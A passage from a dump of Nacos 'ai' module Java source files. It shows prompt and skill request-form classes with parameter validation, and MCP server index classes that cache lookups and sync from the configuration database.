(StringUtils.isBlank(label)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'label' type String is not present\");\n        }\n    }\n    \n    public String getLabel() {\n        return label;\n    }\n    \n    public void setLabel(String label) {\n        this.label = label;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptListForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Prompt list query form.\n *\n * @author nacos\n */\npublic class PromptListForm implements NacosForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    private static final int MAX_PAGE_SIZE = 50;\n    \n    private String namespaceId;\n    \n    /**\n     * Optional promptKey filter.\n     */\n    private String promptKey;\n    \n    /**\n     * Search mode: \"accurate\" or \"blur\".\n     */\n    private String search;\n    \n    /**\n     * Optional biz tags filter (comma-separated).\n     */\n    private String bizTags;\n    \n    /**\n     * Page number (1-based).\n     */\n    private int pageNo = 1;\n    \n    /**\n     * Page size.\n     */\n    private int pageSize = 10;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        \n        if (StringUtils.isNotBlank(search)\n                && !Constants.Prompt.SEARCH_ACCURATE.equalsIgnoreCase(search)\n                && !Constants.Prompt.SEARCH_BLUR.equalsIgnoreCase(search)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Request parameter 'search' should be 'accurate' or 'blur'.\");\n        }\n        \n        if (pageNo < 1) {\n            pageNo = 1;\n        }\n        if (pageSize < 1) {\n            pageSize = 10;\n        }\n        if (pageSize > MAX_PAGE_SIZE) {\n            pageSize = MAX_PAGE_SIZE;\n        }\n    }\n    \n    private void fillDefaultNamespaceId() {\n        if (StringUtils.isEmpty(namespaceId)) {\n            namespaceId = Constants.Prompt.PROMPT_DEFAULT_NAMESPACE;\n        }\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getPromptKey() {\n        return promptKey;\n    }\n    \n    public void setPromptKey(String promptKey) {\n        this.promptKey = promptKey;\n    }\n    \n    public String getSearch() {\n        return search;\n    }\n    \n    public void setSearch(String search) {\n        this.search = search;\n    }\n    \n    public String getBizTags() {\n        return bizTags;\n    }\n    \n    public void setBizTags(String bizTags) {\n        this.bizTags = bizTags;\n    }\n    \n    public int getPageNo() {\n        return pageNo;\n    }\n    \n    public void setPageNo(int pageNo) {\n        this.pageNo = pageNo;\n    }\n    \n    public int getPageSize() {\n        return pageSize;\n    }\n    \n    public void setPageSize(int pageSize) {\n        this.pageSize = pageSize;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptMetadataForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport java.io.Serial;\n\n/**\n * Prompt metadata update form.\n *\n * <p>Used for updating prompt description without changing version.</p>\n *\n * @author nacos\n */\npublic class PromptMetadataForm extends PromptForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * New description for the prompt.\n     */\n    private String description;\n    \n    /**\n     * Prompt biz tags (comma-separated).\n     */\n    private String bizTags;\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public String getBizTags() {\n        return bizTags;\n    }\n    \n    public void setBizTags(String bizTags) {\n        this.bizTags = bizTags;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptPublishForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\nimport com.alibaba.nacos.ai.utils.PromptVersionUtils;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Prompt publish form.\n *\n * @author nacos\n */\npublic class PromptPublishForm extends PromptForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Version in format \"major.minor.patch\" (e.g., \"1.0.0\").\n     */\n    private String version;\n    \n    /**\n     * Prompt template content.\n     */\n    private String template;\n    \n    /**\n     * Commit message for this version.\n     */\n    private String commitMsg;\n    \n    /**\n     * Description for the prompt (optional, stored in config metadata).\n     */\n    private String description;\n    \n    /**\n     * Prompt biz tags (comma-separated, optional).\n     */\n    private String bizTags;\n    \n    /**\n     * Variable definitions with default values (JSON array string, optional).\n     *\n     * <p>Example: [{\"name\":\"question\",\"defaultValue\":\"Hello\",\"description\":\"User question\"}]</p>\n     */\n    private String variables;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        super.validate();\n        \n        if (StringUtils.isEmpty(version)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'version' type String is not present\");\n        }\n        \n        if (!PromptVersionUtils.isValidVersion(version)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Parameter 'version' must be in format 'major.minor.patch' (e.g., '1.0.0')\");\n        }\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getTemplate() {\n        return template;\n    }\n    \n    public void setTemplate(String template) {\n        this.template = template;\n    }\n    \n    public String getCommitMsg() {\n        return commitMsg;\n    }\n    \n    public void setCommitMsg(String commitMsg) {\n        this.commitMsg = commitMsg;\n    }\n    \n    public String getDescription() {\n        return description;\n    }\n    \n    public void setDescription(String description) {\n        this.description = description;\n    }\n    \n    public String getBizTags() {\n        return bizTags;\n    }\n    \n    public void setBizTags(String bizTags) {\n        this.bizTags = bizTags;\n    }\n    \n    public String getVariables() {\n        return variables;\n    }\n    \n    public void setVariables(String variables) {\n        this.variables = variables;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/prompt/PromptQueryForm.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.prompt;\n\n/**\n * Prompt query form for client read API.\n *\n * @author nacos\n */\npublic class PromptQueryForm extends PromptForm {\n    \n    private String version;\n    \n    private String label;\n    \n    private String md5;\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n    \n    public String getLabel() {\n        return label;\n    }\n    \n    public void setLabel(String label) {\n        this.label = label;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/skills/admin/SkillDetailForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.skills.admin;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Skill detail form (for create and detail).\n *\n * @author nacos\n */\npublic class SkillDetailForm extends SkillForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Skill card JSON string, contains complete Skill information.\n     */\n    private String skillCard;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        // For create/detail, skillName is optional (can be in skillCard)\n        // Only skillCard is required\n        if (StringUtils.isEmpty(skillCard)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Request parameter `skillCard` should not be `null` or empty.\");\n        }\n    }\n    \n    public String getSkillCard() {\n        return skillCard;\n    }\n    \n    public void setSkillCard(String skillCard) {\n        this.skillCard = skillCard;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/skills/admin/SkillForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.skills.admin;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.NacosForm;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Skill form base class.\n *\n * @author nacos\n */\npublic class SkillForm implements NacosForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    private String namespaceId;\n    \n    private String skillName;\n    \n    private String version;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        if (StringUtils.isEmpty(skillName)) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter 'skillName' type String is not present\");\n        }\n    }\n    \n    protected void fillDefaultNamespaceId() {\n        if (StringUtils.isEmpty(namespaceId)) {\n            namespaceId = Constants.Skills.SKILL_DEFAULT_NAMESPACE;\n        }\n    }\n    \n    public String getNamespaceId() {\n        return namespaceId;\n    }\n    \n    public void setNamespaceId(String namespaceId) {\n        this.namespaceId = namespaceId;\n    }\n    \n    public String getSkillName() {\n        return skillName;\n    }\n    \n    public void setSkillName(String skillName) {\n        this.skillName = skillName;\n    }\n    \n    public String getVersion() {\n        return version;\n    }\n    \n    public void setVersion(String version) {\n        this.version = version;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/skills/admin/SkillListForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.skills.admin;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport java.io.Serial;\n\n/**\n * Skill list form.\n *\n * @author nacos\n */\npublic class SkillListForm extends SkillForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    private String search;\n    \n    @Override\n    public void validate() throws NacosApiException {\n        fillDefaultNamespaceId();\n        // For list query, skillName is optional\n        if (StringUtils.isNotBlank(search) \n                && !Constants.Skills.SEARCH_ACCURATE.equalsIgnoreCase(search)\n                && !Constants.Skills.SEARCH_BLUR.equalsIgnoreCase(search)) {\n            throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    \"Request parameter `search` should be `accurate` or `blur`.\");\n        }\n    }\n    \n    public String getSearch() {\n        return search;\n    }\n    \n    public void setSearch(String search) {\n        this.search = search;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/form/skills/admin/SkillUpdateForm.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.form.skills.admin;\n\nimport java.io.Serial;\n\n/**\n * Skill update form.\n *\n * @author nacos\n */\npublic class SkillUpdateForm extends SkillDetailForm {\n    \n    @Serial\n    private static final long serialVersionUID = 1L;\n    \n    /**\n     * Whether to set as latest version.\n     */\n    private Boolean setAsLatest;\n    \n    public Boolean getSetAsLatest() {\n        return setAsLatest;\n    }\n    \n    public void setSetAsLatest(Boolean setAsLatest) {\n        this.setAsLatest = setAsLatest;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/index/AbstractMcpServerIndex.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport java.util.Comparator;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Objects;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.utils.McpConfigUtils;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerVersionInfo;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.response.Namespace;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\n\n/**\n * Abstract base class for MCP server index implementations.\n *\n * @author xinluo\n */\npublic abstract class AbstractMcpServerIndex implements McpServerIndex {\n\n    private final NamespaceOperationService namespaceOperationService;\n\n    protected final ConfigDetailService configDetailService;\n\n    public AbstractMcpServerIndex(NamespaceOperationService namespaceOperationService, ConfigDetailService configDetailService) {\n        this.namespaceOperationService = namespaceOperationService;\n        this.configDetailService = configDetailService;\n    }\n\n    protected List<String> fetchOrderedNamespaceList() {\n        return namespaceOperationService.getNamespaceList().stream()\n                .sorted(Comparator.comparing(Namespace::getNamespace)).map(Namespace::getNamespace).toList();\n    }\n\n    protected McpServerIndexData getFirstMcpServerByName(String name) {\n        return fetchOrderedNamespaceList()\n            .stream()\n            .filter(namespaceId -> !StringUtils.isEmpty(namespaceId))\n            .map(namespaceId -> getMcpServerByName(namespaceId, name))\n            .filter(index -> Objects.nonNull(index))\n            .findFirst()\n            .orElse(null);\n    }\n\n    @Override\n    public Page<McpServerIndexData> searchMcpServerByNameWithPage(String namespaceId, String name, String search,\n            int pageNo, int limit) {\n        Page<ConfigInfo> serverInfos = searchMcpServers(namespaceId, name, search, pageNo, limit);\n        List<McpServerIndexData> indexDataList = serverInfos.getPageItems().stream()\n                .map((configInfo) -> {\n                    configInfo.setTenant(namespaceId);\n                    return configInfo;\n                })\n                .map(this::mapToMcpServerVersionInfo)\n                .map(this::mcpToIndexAndUpdateToCache)\n                .toList();\n        Page<McpServerIndexData> result = new Page<>();\n        result.setPageItems(indexDataList);\n        result.setTotalCount(serverInfos.getTotalCount());\n        result.setPagesAvailable((int) Math.ceil((double) serverInfos.getTotalCount() / (double) limit));\n        result.setPageNumber(pageNo);\n        return result;\n    }\n\n    /**\n     * Callback after search operation. Subclasses can implement this to perform additional operations.\n     *\n     * @param searchResult the search results\n     * @param name the search name\n     */\n    protected abstract void afterSearch(McpServerIndexData searchResult, String name);\n\n    /**\n     * Search MCP servers.\n     */\n    protected Page<ConfigInfo> searchMcpServers(String namespace, String serverName, String search, int pageNo,\n            int limit) {\n        HashMap<String, Object> advanceInfo = new HashMap<>(1);\n        if (Objects.isNull(serverName)) {\n            serverName = \"\";\n        }\n        String dataId = Constants.ALL_PATTERN;\n        if (Constants.MCP_LIST_SEARCH_BLUR.equals(search) || serverName.isEmpty()) {\n            String nameTag = McpConfigUtils.formatServerNameTagBlurSearchValue(serverName);\n            advanceInfo.put(Constants.CONFIG_TAGS_NAME, nameTag);\n            search = Constants.MCP_LIST_SEARCH_BLUR;\n        } else {\n            advanceInfo.put(Constants.CONFIG_TAGS_NAME,\n                    McpConfigUtils.formatServerNameTagAccurateSearchValue(serverName));\n            dataId = null;\n        }\n        return configDetailService.findConfigInfoPage(search, pageNo, limit, dataId,\n                Constants.MCP_SERVER_VERSIONS_GROUP, namespace, advanceInfo);\n    }\n\n    protected McpServerVersionInfo mapToMcpServerVersionInfo(ConfigInfo configInfo) {\n        McpServerVersionInfo obj = JacksonUtils.toObj(configInfo.getContent(), McpServerVersionInfo.class);\n        obj.setNamespaceId(configInfo.getTenant());\n        return obj;\n    }\n\n    protected McpServerIndexData mcpToIndexAndUpdateToCache(McpServerVersionInfo versionInfo) {\n        McpServerIndexData data = new McpServerIndexData();\n        data.setId(versionInfo.getId());\n        data.setNamespaceId(versionInfo.getNamespaceId());\n        afterSearch(data, versionInfo.getName());\n        return data;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/index/CachedMcpServerIndex.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.index;\n\nimport java.util.List;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.ScheduledFuture;\nimport java.util.concurrent.TimeUnit;\nimport javax.annotation.PreDestroy;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.service.ConfigDetailService;\nimport com.alibaba.nacos.config.server.service.query.ConfigQueryChainService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.core.service.NamespaceOperationService;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Enhanced MCP cache index implementation combining memory cache and database queries.\n *\n * @author misselvexu\n */\npublic class CachedMcpServerIndex extends AbstractMcpServerIndex {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(CachedMcpServerIndex.class);\n    \n    private final McpCacheIndex cacheIndex;\n\n    private final ConfigQueryChainService configQueryChainService;\n    \n    private final ScheduledExecutorService scheduledExecutor;\n    \n    private ScheduledFuture<?> syncTask;\n    \n    private final boolean cacheEnabled;\n    \n    private final long syncInterval;\n    \n    /**\n     * Constructor.\n     */\n    public CachedMcpServerIndex(ConfigDetailService configDetailService,\n            NamespaceOperationService namespaceOperationService, ConfigQueryChainService configQueryChainService,\n            McpCacheIndex cacheIndex, ScheduledExecutorService scheduledExecutor, boolean cacheEnabled,\n            long syncInterval) {\n        super(namespaceOperationService, configDetailService);\n        this.configQueryChainService = configQueryChainService;\n        this.cacheIndex = cacheIndex;\n        this.scheduledExecutor = scheduledExecutor;\n        this.cacheEnabled = cacheEnabled;\n        this.syncInterval = syncInterval;\n        if (cacheEnabled) {\n            startSyncTask();\n        }\n        LOGGER.info(\"CachedMcpServerIndex initialized with cacheEnabled={}, syncInterval={}s\", cacheEnabled,\n                syncInterval);\n    }\n    \n    /**\n     * Get MCP server information by ID.\n     */\n    @Override\n    public McpServerIndexData getMcpServerById(String id) {\n        if (!cacheEnabled) {\n            LOGGER.debug(\"Cache disabled, querying directly from database for mcpId: {}\", id);\n            return getMcpServerByIdFromDatabase(id);\n        }\n        // Priority query cache\n        McpServerIndexData cachedData = cacheIndex.getMcpServerById(id);\n        if (cachedData != null) {\n            LOGGER.debug(\"Cache hit for mcpId: {}\", id);\n            return cachedData;\n        }\n        // Cache miss, query database\n        LOGGER.debug(\"Cache miss for mcpId: {}, querying database\", id);\n        McpServerIndexData dbData = getMcpServerByIdFromDatabase(id);\n        if (dbData != null) {\n            cacheIndex.updateIndex(dbData.getNamespaceId(), dbData.getId(), dbData.getId());\n            LOGGER.debug(\"Updated cache for mcpId: {}\", id);\n        }\n        return dbData;\n    }\n    \n    /**\n     * Get MCP server information by name.\n     */\n    @Override\n    public McpServerIndexData getMcpServerByName(String namespaceId, String name) {\n        if (StringUtils.isEmpty(namespaceId) && StringUtils.isEmpty(name)) {\n            LOGGER.warn(\"Invalid parameters for getMcpServerByName: namespaceId={}, name={}\", namespaceId, name);\n            return null;\n        }\n\n        if (StringUtils.isEmpty(namespaceId)) {\n            return getFirstMcpServerByName(name);\n        }\n\n        if (!cacheEnabled) {\n            LOGGER.debug(\"Cache disabled, querying directly from database for name: {}:{}\", namespaceId, name);\n            return getMcpServerByNameFromDatabase(namespaceId, name);\n        }\n        // Priority query cache\n        McpServerIndexData cachedData = cacheIndex.getMcpServerByName(namespaceId, name);\n        if (cachedData != null) {\n            LOGGER.debug(\"Cache hit for name: {}:{}\", namespaceId, name);\n            return cachedData;\n        }\n        // Cache miss, query database\n        LOGGER.debug(\"Cache miss for name: {}:{}, querying database\", namespaceId, name);\n        McpServerIndexData dbData = getMcpServerByNameFromDatabase(namespaceId, name);\n        if (dbData != null) {\n            cacheIndex.updateIndex(namespaceId, name, dbData.getId());\n            LOGGER.debug(\"Updated cache for name: {}:{}\", namespaceId, name);\n        }\n        return dbData;\n    }\n\n    @Override\n    protected void afterSearch(McpServerIndexData indexData, String name) {\n        // Update cache\n        if (cacheEnabled) {\n            cacheIndex.updateIndex(indexData.getNamespaceId(), name, indexData.getId());\n        }\n    }\n    \n    /**\n     * Get MCP server from database by ID.\n     */\n    private McpServerIndexData getMcpServerByIdFromDatabase(String id) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(id + Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX);\n        request.setGroup(Constants.MCP_SERVER_VERSIONS_GROUP);\n        List<String> namespaceList = fetchOrderedNamespaceList();\n        for (String namespaceId : namespaceList) {\n            request.setTenant(namespaceId);\n            ConfigQueryChainResponse response = configQueryChainService.handle(request);\n            if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL) {\n                McpServerIndexData result = new McpServerIndexData();\n                result.setId(id);\n                result.setNamespaceId(namespaceId);\n                LOGGER.debug(\"Found MCP server in database: mcpId={}, namespaceId={}\", id, namespaceId);\n                return result;\n            }\n        }\n        LOGGER.debug(\"MCP server not found in database: mcpId={}\", id);\n        return null;\n    }\n    \n    /**\n     * Get MCP server from database by name.\n     */\n    private McpServerIndexData getMcpServerByNameFromDatabase(String namespaceId, String name) {\n        // 直接查询数据库，避免调用searchMcpServerByName导致重复更新缓存\n        Page<ConfigInfo> serverInfos = searchMcpServers(namespaceId, name, Constants.MCP_LIST_SEARCH_ACCURATE, 1, 1);\n        if (CollectionUtils.isNotEmpty(serverInfos.getPageItems())) {\n            ConfigInfo configInfo = serverInfos.getPageItems().get(0);\n            McpServerIndexData result = new McpServerIndexData();\n            result.setId(configInfo.getDataId().replace(Constants.MCP_SERVER_VERSION_DATA_ID_SUFFIX, \"\"));\n            result.setNamespaceId(configInfo.getTenant());\n            LOGGER.debug(\"Found MCP server in database: name={}:{}, mcpId={}\", namespaceId, name, result.getId());\n            return result;\n        }\n        LOGGER.debug(\"MCP server not found in database: name={}:{}\", namespaceId, name);\n        return null;\n    }\n\n    /**\n     * Start scheduled sync task.\n     */\n    private void startSyncTask() {\n        syncTask = scheduledExecutor.scheduleWithFixedDelay(() -> {\n            try {\n                LOGGER.debug(\"Starting cache sync task\");\n                syncCacheFromDatabase();\n                LOGGER.debug(\"Cache sync task completed\");\n            } catch (Exception e) {\n                LOGGER.error(\"Error during cache sync task\", e);\n            }\n        }, syncInterval, syncInterval, TimeUnit.SECONDS);\n        LOGGER.info(\"Cache sync task started with interval: {}s\", syncInterval);\n    }\n    \n    /**\n     * Shutdown the cache sync task and cleanup resources.\n     */\n    @PreDestroy\n    public void destroy() {\n        try {\n            if (syncTask != null) {\n                syncTask.cancel(true);\n            }\n            scheduledExecutor.shutdown();\n        } catch (Exception e) {\n            LOGGER.warn(\"shutting down sync task schedule executor failed\", e);\n        }\n    }\n    \n    /**\n     * Sync cache from database.\n     */\n    private void syncCacheFromDatabase() {\n        LOGGER.debug(\"Syncing cache from database\");\n        List<String> namespaceList = fetchOrderedNamespaceList();\n        for (String namespaceId : namespaceList) {\n            try {\n                searchMcpServerByNameWithPage(namespaceId, null,\n                        Constants.MCP_LIST_SEARCH_BLUR, 1, 1000);\n            } catch (Exception e) {\n                LOGGER.error(\"Error syncing cache for namespace: {}\", namespaceId, e);\n            }\n        }\n    }\n    \n    /**\n     * Get cache statistics.\n     */\n    public McpCacheIndex.CacheStats getCacheStats() {\n        McpCacheIndex.CacheStats stats = cacheIndex.getStats();\n        LOGGER.debug(\"Cache stats: hitCount={}, missCount={}, evictionCount={}, size={}, hitRate=%.2f%%\",\n                stats.getHitCount(), stats.getMissCount(), stats.getEvictionCount(), stats.getSize(),\n                stats.getHitRate() * 100);\n        return stats;\n    }\n    \n    /**\n     * Clear cache.\n     */\n    public void clearCache() {\n        cacheIndex.clear();\n        LOGGER.info(\"Cache cleared\");\n    }\n    \n    /**\n     * Manually trigger cache synchronization.\n     */\n    public void triggerCacheSync() {\n        if (cacheEnabled) {\n            LOGGER.info(\"Manual cache sync triggered\");\n            syncCacheFromDatabase();\n        } else {\n            LOGGER.warn(\"Cache is disabled, manual sync ignored\");\n        }\n    }\n    \n    /**\n     * Remove cache entry by namespace ID and MCP server name.\n     *\n     * @param namespaceId namespace ID\n     * @param mcpName     MCP server name\n     */\n    @Override\n    public void removeMcpServerByName(String namespaceId, String mcpName) {\n        if (cacheEnabled) {\n            LOGGER.debug(\"Removing cache entry by name: namespaceId={}, mcpName={}\", 